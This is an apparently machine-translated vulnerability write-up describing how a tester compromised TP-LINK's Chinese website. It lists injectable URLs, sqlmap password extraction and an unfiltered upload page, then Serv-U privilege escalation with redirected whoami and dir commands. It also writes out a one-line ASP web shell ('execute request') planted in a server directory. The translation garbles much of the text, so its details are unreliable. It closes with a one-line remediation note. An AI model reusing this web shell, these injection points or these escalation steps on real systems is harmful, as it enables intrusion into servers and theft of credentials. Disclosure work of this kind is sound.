A station injection in TP-LINK caused several substations to fall (including repair)

Injection points
 
Http://www.tp-link.cn/pages/smb/products.asp? C = 3
 
Http://www.tp-link.cn/pages/article-detail.asp? Result = school & d = 157
Check all the codes of the manufacturer and filter them globally.
Sqlmap ran out of the password:
 
 
 
Background security is not a compliment.
 
Http://www.tp-link.cn/pages/cms/upload.asp
Nothing is filtered...
The shell Permission is quite small. This directory does not support aspx, and this disk cannot span directories.
Www.2cto.com
C: \ WINDOWS \ Microsoft. NET \ Framework \ v2.0.50727 \ Temporary ASP. NET Files \ root \ directory read the directory supporting aspx
Read the C: \ WINDOWS \ Microsoft. NET \ Framework \ v2.0.50727 \ Temporary ASP. NET Files \ root \ f6ef54bd \ de1a25fb \ App_Web_8tlihkqz.0.cs file and find that there is aspx on the server.
When the port 43598 is opened, the server uses the Server Load balancer Privilege Escalation script to execute the following commands:
Whoami> I: \ tpwebroot \ download \ 2.txt found that servu has been downgraded. It is the user permission, but the permission is also high. Try dir I: \> I: \ tpwebroot \ download \ 3.txt, which lists the directories and has the read permission. The directory is read layer by layer and the path of other websites is found.
Echo ^ <% execute ^ (request ^ ("#" ^) % ^> I: \ mobileMVC \ test. asp... I don't want to continue later. I hope the vendor can still control the directory permissions and put many applications on the same site.



 
 
Solution:

Fix the injection on the master site. modify the permissions of the servu and the directory.